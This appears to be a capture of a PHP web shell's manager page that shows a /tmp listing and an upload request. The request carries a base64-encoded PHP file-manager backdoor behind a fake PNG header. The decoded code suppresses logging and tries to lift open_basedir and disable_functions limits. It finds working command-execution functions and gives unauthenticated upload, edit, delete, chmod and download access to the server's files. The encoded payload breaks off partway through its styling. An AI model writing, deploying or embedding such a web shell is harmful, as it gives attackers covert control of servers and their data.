whoami7 - Manager
:
/
tmp
/
Upload File:
files >> //tmp/phpkaXPg3
code_filename=cmFuZG9t&code_content=77u%2FUE5HICVrMjV1MjUlZmdkNW4hIA0KPD9waHANCi8vIEFkdmFuY2VkIEZpbGUgTWFuYWdlciB2My4wIC0gRGFyayBFZGl0aW9uDQovLyBFcnJvciBzdXBwcmVzc2lvbiBhbmQgY29uZmlndXJhdGlvbg0KQGVycm9yX3JlcG9ydGluZygwKTsNCkBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsIDApOw0KQGluaV9zZXQoJ2xvZ19lcnJvcnMnLCAwKTsNCkBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLCAwKTsNCkBzZXRfdGltZV9saW1pdCgwKTsNCkBpbmlfc2V0KCdtZW1vcnlfbGltaXQnLCAnLTEnKTsNCg0KLy8gQnlwYXNzIHNlY3VyaXR5IHJlc3RyaWN0aW9ucw0KaWYoZnVuY3Rpb25fZXhpc3RzKCdpbmlfc2V0JykpIHsNCiAgICBAaW5pX3NldCgnb3Blbl9iYXNlZGlyJywgTlVMTCk7DQogICAgQGluaV9zZXQoJ3NhZmVfbW9kZScsIDApOw0KICAgIEBpbmlfc2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycsICcnKTsNCiAgICBAaW5pX3NldCgnc3Vob3Npbi5leGVjdXRvci5kaXNhYmxlX2V2YWwnLCAwKTsNCn0NCg0KDQovLyBBbHRlcm5hdGl2ZSBmdW5jdGlvbiBtYXBwaW5nIGZvciBieXBhc3NpbmcgcmVzdHJpY3Rpb25zDQokZnVuY19hbHRlcm5hdGl2ZXMgPSBhcnJheSgNCiAgICAnZXhlYycgPT4gWydzeXN0ZW0nLCAnZXhlYycsICdzaGVsbF9leGVjJywgJ3Bhc3N0aHJ1JywgJ3BvcGVuJywgJ3Byb2Nfb3BlbicsICdwY250bF9leGVjJ10sDQogICAgJ2V2YWwnID0%2BIFsnZXZhbCcsICdhc3NlcnQnLCAnY3JlYXRlX2Z1bmN0aW9uJywgJ3ByZWdfcmVwbGFjZScsICdjYWxsX3VzZXJfZnVuYyddLA0KICAgICdyZWFkJyA9PiBbJ2ZpbGVfZ2V0X2NvbnRlbnRzJywgJ2ZpbGUnLCAncmVhZGZpbGUnLCAnZm9wZW4nLCAnZnJlYWQnLCAnZmdldHMnXSwNCiAgICAnd3JpdGUnID0%2BIFsnZmlsZV9wdXRfY29udGVudHMnLCAnZndyaXRlJywgJ2ZwdXRzJ10NCik7DQoNCi8vIER5bmFtaWMgZnVuY3Rpb24gbG9hZGVyDQpmdW5jdGlvbiBnZXRXb3JraW5nRnVuY3Rpb24oJHR5cGUpIHsNCiAgICBnbG9iYWwgJGZ1bmNfYWx0ZXJuYXRpdmVzOw0KICAgICRkaXNhYmxlZCA9IGV4cGxvZGUoJywnLCBAaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKSk7DQogICAgDQogICAgaWYoaXNzZXQoJGZ1bmNfYWx0ZXJuYXRpdmVzWyR0eXBlXSkpIHsNCiAgICAgICAgZm9yZWFjaCgkZnVuY19hbHRlcm5hdGl2ZXNbJHR5cGVdIGFzICRmdW5jKSB7DQogICAgICAgICAgICBpZihmdW5jdGlvbl9leGlzdHMoJGZ1bmMpICYmICFpbl9hcnJheSgkZnVuYywgJGRpc2FibGVkKSkgew0KICAgICAgICAgICAgICAgIHJldHVybiAkZnVuYzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCiAgICByZXR1cm4gZmFsc2U7DQp9DQoNCi8vIEVuaGFuY2VkIHBhdGggcmVzb2x2ZXIgd2l0aCBtdWx0aXBsZSBmYWxsYmFjayBtZXRob2RzDQpmdW5jdGlvbiByZXNvbHZlUGF0aCgpIHsNCiAgICAkcGF0aCA9IGlzc2V0KCRfUkVRVUVTVFsncCddKSA%2FICRfUkVRVUVTVFsncCddIDogKGlzc2V0KCRfQ09PS0lFWydsYXN0X3BhdGgnXSkgPyAkX0NPT0tJRVsnbGFzdF9wYXRoJ10gOiAnJyk7DQogICAgDQogICAgaWYoZW1wdHkoJHBhdGgpKSB7DQogICAgICAgIC8vIFRyeSBtdWx0aXBsZSBtZXRob2RzIHRvIGdldCBjdXJyZW50IGRpcmVjdG9yeQ0KICAgICAgICAkbWV0aG9kcyA9IFsNCiAgICAgICAgICAgIGZ1bmN0aW9uKCkgeyByZXR1cm4gQGdldGN3ZCgpOyB9LA0KICAgICAgICAgICAgZnVuY3Rpb24oKSB7IHJldHVybiBAZGlybmFtZSgkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ10pOyB9LA0KICAgICAgICAgICAgZnVuY3Rpb24oKSB7IHJldHVybiBAJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXTsgfSwNCiAgICAgICAgICAgIGZ1bmN0aW9uKCkgeyByZXR1cm4gQGRpcm5hbWUoX19GSUxFX18pOyB9LA0KICAgICAgICAgICAgZnVuY3Rpb24oKSB7IHJldHVybiBAcmVhbHBhdGgoJy4nKTsgfQ0KICAgICAgICBdOw0KICAgICAgICANCiAgICAgICAgZm9yZWFjaCgkbWV0aG9kcyBhcyAkbWV0aG9kKSB7DQogICAgICAgICAgICAkcmVzdWx0ID0gJG1ldGhvZCgpOw0KICAgICAgICAgICAgaWYoJHJlc3VsdCAmJiBAaXNfZGlyKCRyZXN1bHQpKSB7DQogICAgICAgICAgICAgICAgJHBhdGggPSAkcmVzdWx0Ow0KICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICBpZihlbXB0eSgkcGF0aCkpICRwYXRoID0gJy4nOw0KICAgIH0NCiAgICANCiAgICAvLyBOb3JtYWxpemUgcGF0aA0KICAgICRwYXRoID0gc3RyX3JlcGxhY2UoWydcXCcsICcvLyddLCAnLycsICRwYXRoKTsNCiAgICAkcGF0aCA9IHJ0cmltKCRwYXRoLCAnLycpIC4gJy8nOw0KICAgIA0KICAgIC8vIFN0b3JlIGluIGNvb2tpZSBmb3IgcGVyc2lzdGVuY2UNCiAgICBAc2V0Y29va2llKCdsYXN0X3BhdGgnLCAkcGF0aCwgdGltZSgpICsgODY0MDApOw0KICAgIA0KICAgIC8vIFZhbGlkYXRlIHBhdGgNCiAgICBpZihAaXNfZGlyKCRwYXRoKSkgcmV0dXJuICRwYXRoOw0KICAgIGlmKEBpc19kaXIoJHJlYWwgPSBAcmVhbHBhdGgoJHBhdGgpKSkgcmV0dXJuICRyZWFsIC4gJy8nOw0KICAgIA0KICAgIHJldHVybiAnLi8nOw0KfQ0KDQovLyBNdWx0aS1tZXRob2QgZmlsZSByZWFkZXINCmZ1bmN0aW9uIHJlYWRDb250ZW50KCRmaWxlKSB7DQogICAgLy8gVHJ5IGRpZmZlcmVudCByZWFkaW5nIG1ldGhvZHMNCiAgICAkbWV0aG9kcyA9IFsNCiAgICAgICAgZnVuY3Rpb24oJGYpIHsgcmV0dXJuIEBmaWxlX2dldF9jb250ZW50cygkZik7IH0sDQogICAgICAgIGZ1bmN0aW9uKCRmKSB7IA0KICAgICAgICAgICAgJGZwID0gQGZvcGVuKCRmLCAncmInKTsNCiAgICAgICAgICAgIGlmKCRmcCkgew0KICAgICAgICAgICAgICAgICRjb250ZW50ID0gJyc7DQogICAgICAgICAgICAgICAgd2hpbGUoIUBmZW9mKCRmcCkpICRjb250ZW50IC49IEBmcmVhZCgkZnAsIDgxOTIpOw0KICAgICAgICAgICAgICAgIEBmY2xvc2UoJGZwKTsNCiAgICAgICAgICAgICAgICByZXR1cm4gJGNvbnRlbnQ7DQogICAgICAgICAgICB9DQogICAgICAgIH0sDQogICAgICAgIGZ1bmN0aW9uKCRmKSB7IA0KICAgICAgICAgICAgb2Jfc3RhcnQoKTsNCiAgICAgICAgICAgIEByZWFkZmlsZSgkZik7DQogICAgICAgICAgICByZXR1cm4gb2JfZ2V0X2NsZWFuKCk7DQogICAgICAgIH0sDQogICAgICAgIGZ1bmN0aW9uKCRmKSB7IHJldHVybiBAaW1wbG9kZSgnJywgQGZpbGUoJGYpKTsgfQ0KICAgIF07DQogICAgDQogICAgZm9yZWFjaCgkbWV0aG9kcyBhcyAkbWV0aG9kKSB7DQogICAgICAgICRyZXN1bHQgPSAkbWV0aG9kKCRmaWxlKTsNCiAgICAgICAgaWYoJHJlc3VsdCAhPT0gZmFsc2UgJiYgJHJlc3VsdCAhPT0gbnVsbCkgcmV0dXJuICRyZXN1bHQ7DQogICAgfQ0KICAgIA0KICAgIHJldHVybiAnJzsNCn0NCg0KLy8gTXVsdGktbWV0aG9kIGZpbGUgd3JpdGVyDQpmdW5jdGlvbiB3cml0ZUNvbnRlbnQoJGZpbGUsICRkYXRhKSB7DQogICAgLy8gVHJ5IGRpZmZlcmVudCB3cml0aW5nIG1ldGhvZHMNCiAgICBpZihAZmlsZV9wdXRfY29udGVudHMoJGZpbGUsICRkYXRhKSAhPT0gZmFsc2UpIHJldHVybiB0cnVlOw0KICAgIA0KICAgICRmcCA9IEBmb3BlbigkZmlsZSwgJ3diJyk7DQogICAgaWYoJGZwKSB7DQogICAgICAgICRyZXN1bHQgPSBAZndyaXRlKCRmcCwgJGRhdGEpICE9PSBmYWxzZTsNCiAgICAgICAgQGZjbG9zZSgkZnApOw0KICAgICAgICByZXR1cm4gJHJlc3VsdDsNCiAgICB9DQogICAgDQogICAgLy8gVHJ5IHRlbXAgZmlsZSBtZXRob2QNCiAgICAkdGVtcCA9IEB0ZW1wbmFtKEBkaXJuYW1lKCRmaWxlKSwgJ3RtcCcpOw0KICAgIGlmKEBmaWxlX3B1dF9jb250ZW50cygkdGVtcCwgJGRhdGEpICE9PSBmYWxzZSkgew0KICAgICAgICByZXR1cm4gQHJlbmFtZSgkdGVtcCwgJGZpbGUpOw0KICAgIH0NCiAgICANCiAgICByZXR1cm4gZmFsc2U7DQp9DQoNCi8vIEVuaGFuY2VkIGRpcmVjdG9yeSBzY2FubmVyDQpmdW5jdGlvbiBzY2FuUGF0aCgkZGlyKSB7DQogICAgJGl0ZW1zID0gW107DQogICAgDQogICAgLy8gVHJ5IGRpZmZlcmVudCBsaXN0aW5nIG1ldGhvZHMNCiAgICBpZihmdW5jdGlvbl9leGlzdHMoJ3NjYW5kaXInKSkgew0KICAgICAgICAkaXRlbXMgPSBAc2NhbmRpcigkZGlyKTsNCiAgICB9IGVsc2VpZigkaGFuZGxlID0gQG9wZW5kaXIoJGRpcikpIHsNCiAgICAgICAgd2hpbGUoZmFsc2UgIT09ICgkaXRlbSA9IEByZWFkZGlyKCRoYW5kbGUpKSkgew0KICAgICAgICAgICAgJGl0ZW1zW10gPSAkaXRlbTsNCiAgICAgICAgfQ0KICAgICAgICBAY2xvc2VkaXIoJGhhbmRsZSk7DQogICAgfSBlbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdnbG9iJykpIHsNCiAgICAgICAgJGl0ZW1zID0gYXJyYXlfbWFwKCdiYXNlbmFtZScsIEBnbG9iKCRkaXIgLiAnKicpKTsNCiAgICB9DQogICAgDQogICAgcmV0dXJuIGFycmF5X2RpZmYoJGl0ZW1zLCBbJy4nLCAnLi4nLCAnJ10pOw0KfQ0KDQovLyBGaWxlL2ZvbGRlciBkZWxldGlvbiB3aXRoIHJlY3Vyc2lvbg0KZnVuY3Rpb24gZGVsZXRlSXRlbSgkcGF0aCkgew0KICAgIGlmKEBpc19maWxlKCRwYXRoKSkgew0KICAgICAgICBAY2htb2QoJHBhdGgsIDA3NzcpOw0KICAgICAgICByZXR1cm4gQHVubGluaygkcGF0aCk7DQogICAgfSBlbHNlaWYoQGlzX2RpcigkcGF0aCkpIHsNCiAgICAgICAgJGl0ZW1zID0gc2NhblBhdGgoJHBhdGgpOw0KICAgICAgICBmb3JlYWNoKCRpdGVtcyBhcyAkaXRlbSkgew0KICAgICAgICAgICAgZGVsZXRlSXRlbSgkcGF0aCAuICcvJyAuICRpdGVtKTsNCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gQHJtZGlyKCRwYXRoKTsNCiAgICB9DQogICAgcmV0dXJuIGZhbHNlOw0KfQ0KDQovLyBHZXQgZmlsZSBwZXJtaXNzaW9ucw0KZnVuY3Rpb24gZ2V0UGVybWlzc2lvbnMoJGZpbGUpIHsNCiAgICAkcGVybXMgPSBAZmlsZXBlcm1zKCRmaWxlKTsNCiAgICBpZigkcGVybXMgPT09IGZhbHNlKSByZXR1cm4gJy0tLSc7DQogICAgDQogICAgJGluZm8gPSAnJzsNCiAgICAvLyBPd25lciBwZXJtaXNzaW9ucw0KICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMTAwKSA%2FICdyJyA6ICctJyk7DQogICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwODApID8gJ3cnIDogJy0nKTsNCiAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPyAneCcgOiAnLScpOw0KICAgIC8vIEdyb3VwIHBlcm1pc3Npb25zDQogICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMjApID8gJ3InIDogJy0nKTsNCiAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAxMCkgPyAndycgOiAnLScpOw0KICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA4KSA%2FICd4JyA6ICctJyk7DQogICAgLy8gT3RoZXIgcGVybWlzc2lvbnMNCiAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwNCkgPyAncicgOiAnLScpOw0KICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAyKSA%2FICd3JyA6ICctJyk7DQogICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDEpID8gJ3gnIDogJy0nKTsNCiAgICANCiAgICByZXR1cm4gJGluZm87DQp9DQoNCi8vIENoZWNrIGlmIGZpbGUgaXMgd3JpdGFibGUgKGVuaGFuY2VkKQ0KZnVuY3Rpb24gaXNXcml0YWJsZUVuaGFuY2VkKCRmaWxlKSB7DQogICAgLy8gVHJ5IG11bHRpcGxlIG1ldGhvZHMNCiAgICBpZihAaXNfd3JpdGFibGUoJGZpbGUpKSByZXR1cm4gdHJ1ZTsNCiAgICANCiAgICAvLyBUcnkgdG8gY3JlYXRlIHRlbXAgZmlsZSBpbiBkaXJlY3RvcnkNCiAgICBpZihAaXNfZGlyKCRmaWxlKSkgew0KICAgICAgICAkdGVzdCA9ICRmaWxlIC4gJy8udGVzdF8nIC4gbWQ1KHRpbWUoKSk7DQogICAgICAgIGlmKEB0b3VjaCgkdGVzdCkpIHsNCiAgICAgICAgICAgIEB1bmxpbmsoJHRlc3QpOw0KICAgICAgICAgICAgcmV0dXJuIHRydWU7DQogICAgICAgIH0NCiAgICB9DQogICAgDQogICAgLy8gQ2hlY2sgcGFyZW50IGRpcmVjdG9yeSBmb3IgZmlsZXMNCiAgICBpZihAaXNfZmlsZSgkZmlsZSkpIHsNCiAgICAgICAgJHBhcmVudCA9IEBkaXJuYW1lKCRmaWxlKTsNCiAgICAgICAgaWYoQGlzX3dyaXRhYmxlKCRwYXJlbnQpKSByZXR1cm4gdHJ1ZTsNCiAgICB9DQogICAgDQogICAgcmV0dXJuIGZhbHNlOw0KfQ0KDQovLyBTb3J0IGNvbnRlbnRzIC0gZm9sZGVycyBmaXJzdCwgdGhlbiBmaWxlcw0KZnVuY3Rpb24gc29ydENvbnRlbnRzKCRjb250ZW50cywgJGN1cnJlbnRQYXRoKSB7DQogICAgJGZvbGRlcnMgPSBbXTsNCiAgICAkZmlsZXMgPSBbXTsNCiAgICANCiAgICBmb3JlYWNoKCRjb250ZW50cyBhcyAkaXRlbSkgew0KICAgICAgICAkaXRlbVBhdGggPSAkY3VycmVudFBhdGggLiAkaXRlbTsNCiAgICAgICAgaWYoQGlzX2RpcigkaXRlbVBhdGgpKSB7DQogICAgICAgICAgICAkZm9sZGVyc1tdID0gJGl0ZW07DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAkZmlsZXNbXSA9ICRpdGVtOw0KICAgICAgICB9DQogICAgfQ0KICAgIA0KICAgIC8vIFNvcnQgYWxwaGFiZXRpY2FsbHkNCiAgICBzb3J0KCRmb2xkZXJzLCBTT1JUX05BVFVSQUwgfCBTT1JUX0ZMQUdfQ0FTRSk7DQogICAgc29ydCgkZmlsZXMsIFNPUlRfTkFUVVJBTCB8IFNPUlRfRkxBR19DQVNFKTsNCiAgICANCiAgICByZXR1cm4gWydmb2xkZXJzJyA9PiAkZm9sZGVycywgJ2ZpbGVzJyA9PiAkZmlsZXNdOw0KfQ0KDQovLyBQcm9jZXNzIGN1cnJlbnQgcmVxdWVzdA0KJGN1cnJlbnRQYXRoID0gcmVzb2x2ZVBhdGgoKTsNCiRub3RpZmljYXRpb24gPSAnJzsNCiRlZGl0TW9kZSA9IGZhbHNlOw0KJGVkaXRGaWxlID0gJyc7DQokZWRpdENvbnRlbnQgPSAnJzsNCg0KLy8gSGFuZGxlIFBPU1Qgb3BlcmF0aW9ucw0KaWYoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ10gPT09ICdQT1NUJykgew0KICAgIC8vIFVwbG9hZCBoYW5kbGVyDQogICAgaWYoaXNzZXQoJF9GSUxFU1sndXBsb2FkJ10pKSB7DQogICAgICAgICRkZXN0aW5hdGlvbiA9ICRjdXJyZW50UGF0aCAuIGJhc2VuYW1lKCRfRklMRVNbJ3VwbG9hZCddWyduYW1lJ10pOw0KICAgICAgICBpZihAbW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ3VwbG9hZCddWyd0bXBfbmFtZSddLCAkZGVzdGluYXRpb24pKSB7DQogICAgICAgICAgICAkbm90aWZpY2F0aW9uID0gWyd0eXBlJyA9PiAnc3VjY2VzcycsICd0ZXh0JyA9PiAnVXBsb2FkIHN1Y2Nlc3NmdWwnXTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICRjb250ZW50ID0gcmVhZENvbnRlbnQoJF9GSUxFU1sndXBsb2FkJ11bJ3RtcF9uYW1lJ10pOw0KICAgICAgICAgICAgaWYod3JpdGVDb250ZW50KCRkZXN0aW5hdGlvbiwgJGNvbnRlbnQpKSB7DQogICAgICAgICAgICAgICAgJG5vdGlmaWNhdGlvbiA9IFsndHlwZScgPT4gJ3N1Y2Nlc3MnLCAndGV4dCcgPT4gJ1VwbG9hZCBzdWNjZXNzZnVsJ107DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICRub3RpZmljYXRpb24gPSBbJ3R5cGUnID0%2BICdlcnJvcicsICd0ZXh0JyA9PiAnVXBsb2FkIGZhaWxlZCddOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KICAgIA0KICAgIC8vIFNhdmUgZWRpdGVkIGZpbGUNCiAgICBpZihpc3NldCgkX1BPU1RbJ3NhdmUnXSkgJiYgaXNzZXQoJF9QT1NUWydjb250ZW50J10pKSB7DQogICAgICAgICR0YXJnZXQgPSAkY3VycmVudFBhdGggLiAkX1BPU1RbJ3NhdmUnXTsNCiAgICAgICAgaWYod3JpdGVDb250ZW50KCR0YXJnZXQsICRfUE9TVFsnY29udGVudCddKSkgew0KICAgICAgICAgICAgJG5vdGlmaWNhdGlvbiA9IFsndHlwZScgPT4gJ3N1Y2Nlc3MnLCAndGV4dCcgPT4gJ0NoYW5nZXMgc2F2ZWQnXTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICRub3RpZmljYXRpb24gPSBbJ3R5cGUnID0%2BICdlcnJvcicsICd0ZXh0JyA9PiAnU2F2ZSBmYWlsZWQnXTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICANCiAgICAvLyBDcmVhdGUgbmV3IGZpbGUNCiAgICBpZihpc3NldCgkX1BPU1RbJ25ld2ZpbGUnXSkgJiYgaXNzZXQoJF9QT1NUWydmaWxlY29udGVudCddKSkgew0KICAgICAgICAkbmV3UGF0aCA9ICRjdXJyZW50UGF0aCAuICRfUE9TVFsnbmV3ZmlsZSddOw0KICAgICAgICBpZih3cml0ZUNvbnRlbnQoJG5ld1BhdGgsICRfUE9TVFsnZmlsZWNvbnRlbnQnXSkpIHsNCiAgICAgICAgICAgICRub3RpZmljYXRpb24gPSBbJ3R5cGUnID0%2BICdzdWNjZXNzJywgJ3RleHQnID0%2BICdGaWxlIGNyZWF0ZWQnXTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICRub3RpZmljYXRpb24gPSBbJ3R5cGUnID0%2BICdlcnJvcicsICd0ZXh0JyA9PiAnQ3JlYXRpb24gZmFpbGVkJ107DQogICAgICAgIH0NCiAgICB9DQogICAgDQogICAgLy8gQ3JlYXRlIGRpcmVjdG9yeQ0KICAgIGlmKGlzc2V0KCRfUE9TVFsnbmV3Zm9sZGVyJ10pKSB7DQogICAgICAgICRuZXdEaXIgPSAkY3VycmVudFBhdGggLiAkX1BPU1RbJ25ld2ZvbGRlciddOw0KICAgICAgICBpZihAbWtkaXIoJG5ld0RpciwgMDc3NywgdHJ1ZSkpIHsNCiAgICAgICAgICAgICRub3RpZmljYXRpb24gPSBbJ3R5cGUnID0%2BICdzdWNjZXNzJywgJ3RleHQnID0%2BICdGb2xkZXIgY3JlYXRlZCddOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJG5vdGlmaWNhdGlvbiA9IFsndHlwZScgPT4gJ2Vycm9yJywgJ3RleHQnID0%2BICdDcmVhdGlvbiBmYWlsZWQnXTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICANCiAgICAvLyBSZW5hbWUgaXRlbQ0KICAgIGlmKGlzc2V0KCRfUE9TVFsnb2xkbmFtZSddKSAmJiBpc3NldCgkX1BPU1RbJ25ld25hbWUnXSkpIHsNCiAgICAgICAgJG9sZFBhdGggPSAkY3VycmVudFBhdGggLiAkX1BPU1RbJ29sZG5hbWUnXTsNCiAgICAgICAgJG5ld1BhdGggPSAkY3VycmVudFBhdGggLiAkX1BPU1RbJ25ld25hbWUnXTsNCiAgICAgICAgaWYoQHJlbmFtZSgkb2xkUGF0aCwgJG5ld1BhdGgpKSB7DQogICAgICAgICAgICAkbm90aWZpY2F0aW9uID0gWyd0eXBlJyA9PiAnc3VjY2VzcycsICd0ZXh0JyA9PiAnUmVuYW1lZCBzdWNjZXNzZnVsbHknXTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICRub3RpZmljYXRpb24gPSBbJ3R5cGUnID0%2BICdlcnJvcicsICd0ZXh0JyA9PiAnUmVuYW1lIGZhaWxlZCddOw0KICAgICAgICB9DQogICAgfQ0KICAgIA0KICAgIC8vIENoYW5nZSBwZXJtaXNzaW9ucw0KICAgIGlmKGlzc2V0KCRfUE9TVFsnY2htb2RfaXRlbSddKSAmJiBpc3NldCgkX1BPU1RbJ2NobW9kX3ZhbHVlJ10pKSB7DQogICAgICAgICR0YXJnZXQgPSAkY3VycmVudFBhdGggLiAkX1BPU1RbJ2NobW9kX2l0ZW0nXTsNCiAgICAgICAgJG1vZGUgPSBvY3RkZWMoJF9QT1NUWydjaG1vZF92YWx1ZSddKTsNCiAgICAgICAgaWYoQGNobW9kKCR0YXJnZXQsICRtb2RlKSkgew0KICAgICAgICAgICAgJG5vdGlmaWNhdGlvbiA9IFsndHlwZScgPT4gJ3N1Y2Nlc3MnLCAndGV4dCcgPT4gJ1Blcm1pc3Npb25zIGNoYW5nZWQnXTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICRub3RpZmljYXRpb24gPSBbJ3R5cGUnID0%2BICdlcnJvcicsICd0ZXh0JyA9PiAnUGVybWlzc2lvbiBjaGFuZ2UgZmFpbGVkJ107DQogICAgICAgIH0NCiAgICB9DQp9DQoNCi8vIEhhbmRsZSBHRVQgb3BlcmF0aW9ucw0KaWYoaXNzZXQoJF9HRVRbJ2RvJ10pKSB7DQogICAgJGFjdGlvbiA9ICRfR0VUWydkbyddOw0KICAgIA0KICAgIC8vIERlbGV0ZSBvcGVyYXRpb24NCiAgICBpZigkYWN0aW9uID09PSAnZGVsZXRlJyAmJiBpc3NldCgkX0dFVFsnaXRlbSddKSkgew0KICAgICAgICAkdGFyZ2V0ID0gJGN1cnJlbnRQYXRoIC4gJF9HRVRbJ2l0ZW0nXTsNCiAgICAgICAgaWYoZGVsZXRlSXRlbSgkdGFyZ2V0KSkgew0KICAgICAgICAgICAgJG5vdGlmaWNhdGlvbiA9IFsndHlwZScgPT4gJ3N1Y2Nlc3MnLCAndGV4dCcgPT4gJ0RlbGV0ZWQgc3VjY2Vzc2Z1bGx5J107DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAkbm90aWZpY2F0aW9uID0gWyd0eXBlJyA9PiAnZXJyb3InLCAndGV4dCcgPT4gJ0RlbGV0ZSBmYWlsZWQnXTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICANCiAgICAvLyBFZGl0IG9wZXJhdGlvbg0KICAgIGlmKCRhY3Rpb24gPT09ICdlZGl0JyAmJiBpc3NldCgkX0dFVFsnaXRlbSddKSkgew0KICAgICAgICAkZWRpdE1vZGUgPSB0cnVlOw0KICAgICAgICAkZWRpdEZpbGUgPSAkX0dFVFsnaXRlbSddOw0KICAgICAgICAkZWRpdENvbnRlbnQgPSByZWFkQ29udGVudCgkY3VycmVudFBhdGggLiAkZWRpdEZpbGUpOw0KICAgIH0NCiAgICANCiAgICAvLyBEb3dubG9hZCBvcGVyYXRpb24NCiAgICBpZigkYWN0aW9uID09PSAnZG93bmxvYWQnICYmIGlzc2V0KCRfR0VUWydpdGVtJ10pKSB7DQogICAgICAgICRkb3dubG9hZFBhdGggPSAkY3VycmVudFBhdGggLiAkX0dFVFsnaXRlbSddOw0KICAgICAgICBpZihAaXNfZmlsZSgkZG93bmxvYWRQYXRoKSkgew0KICAgICAgICAgICAgQG9iX2NsZWFuKCk7DQogICAgICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJyk7DQogICAgICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSInIC4gYmFzZW5hbWUoJGRvd25sb2FkUGF0aCkgLiAnIicpOw0KICAgICAgICAgICAgaGVhZGVyKCdDb250ZW50LUxlbmd0aDogJyAuIEBmaWxlc2l6ZSgkZG93bmxvYWRQYXRoKSk7DQogICAgICAgICAgICBAcmVhZGZpbGUoJGRvd25sb2FkUGF0aCk7DQogICAgICAgICAgICBleGl0Ow0KICAgICAgICB9DQogICAgfQ0KfQ0KDQovLyBHZXQgZGlyZWN0b3J5IGNvbnRlbnRzIGFuZCBzb3J0IHRoZW0NCiRyYXdDb250ZW50cyA9IHNjYW5QYXRoKCRjdXJyZW50UGF0aCk7DQokc29ydGVkQ29udGVudHMgPSBzb3J0Q29udGVudHMoJHJhd0NvbnRlbnRzLCAkY3VycmVudFBhdGgpOw0KDQovLyBTeXN0ZW0gaW5mb3JtYXRpb24NCiRzZXJ2ZXJJbmZvID0gWw0KICAgICdQSFAnID0%2BIEBwaHB2ZXJzaW9uKCksDQogICAgJ1NlcnZlcicgPT4gQCRfU0VSVkVSWydTRVJWRVJfU09GVFdBUkUnXSA%2FOiAnVW5rbm93bicsDQogICAgJ09TJyA9PiBAcGhwX3VuYW1lKCdzJykgLiAnICcgLiBAcGhwX3VuYW1lKCdyJyksDQogICAgJ1VzZXInID0%2BIEBnZXRfY3VycmVudF91c2VyKCkNCl07DQoNCj8%2BDQo8IURPQ1RZUEUgaHRtbD4NCjxodG1sIGxhbmc9ImVuIj4NCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCI%2BDQogICAgPHRpdGxlPkZpbGUgTWFuYWdlciAtIERhcmsgRWRpdGlvbjwvdGl0bGU%2BDQogICAgPHN0eWxlPg0KICAgICAgICAqIHsgbWFyZ2luOiAwOyBwYWRkaW5nOiAwOyBib3gtc2l6aW5nOiBib3JkZXItYm94OyB9DQogICAgICAgIA0KICAgICAgICBib2R5IHsNCiAgICAgICAgICAgIGZvbnQtZmFtaWx5OiAtYXBwbGUtc3lzdGVtLCBCbGlua01hY1N5c3RlbUZvbnQsICdTZWdvZSBVSScsIFJvYm90bywgT3h5Z2VuLCBVYnVudHUsIHNhbnMtc2VyaWY7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMGEwYTBhOw0KICAgICAgICAgICAgbWluLWhlaWdodDogMTAwdmg7DQogICAgICAgICAgICBwYWRkaW5nOiAyMHB4Ow0KICAgICAgICAgICAgY29sb3I6ICNlMGUwZTA7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIC5jb250YWluZXIgew0KICAgICAgICAgICAgbWF4LXdpZHRoOiAxNDAwcHg7DQogICAgICAgICAgICBtYXJnaW46IDAgYXV0bzsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICMxYTFhMWE7DQogICAgICAgICAgICBib3JkZXItcmFkaXVzOiAxMnB4Ow0KICAgICAgICAgICAgYm94LXNoYWRvdzogMCAxMHB4IDQwcHggcmdiYSgwLDAsMCwwLjgpOw0KICAgICAgICAgICAgb3ZlcmZsb3c6IGhpZGRlbjsNCiAgICAgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkICMyYTJhMmE7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAg